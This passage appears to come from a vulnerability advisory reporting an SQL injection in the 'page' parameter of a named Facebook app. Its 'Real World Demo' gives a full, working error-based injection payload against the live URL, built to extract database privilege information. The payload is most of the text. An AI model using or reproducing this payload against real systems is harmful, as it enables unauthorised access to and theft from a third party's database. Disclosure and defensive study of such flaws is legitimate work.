Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. For demonstration
or reproduce ...

URL:  http://apps.facebook.com/
Path:  /lifesmile/
File:  index.php


Example:

http://[APP-SERVER]/[SERVICE-APP]/[FILE].[PHP]?=[SQL Injection]


PoC:

http://apps.facebook.com/lifesmile/index.php?page=[SQL-Injection]

Real World Demo :

http://apps.facebook.com/lifesmile/index.php?page=210 AND (SELECT 1793
FROM(SELECT COUNT(*),CONCAT(0x3a626a7a3a,(SELECT
MID((IFNULL(CAST(privilege_type AS CHAR),0x20)),1,50) FROM
INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT
0,1),0x3a7672703a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a)


Risk:
=====
The security risk of the application sql injection vulnerabilities are
estimated as high(+).
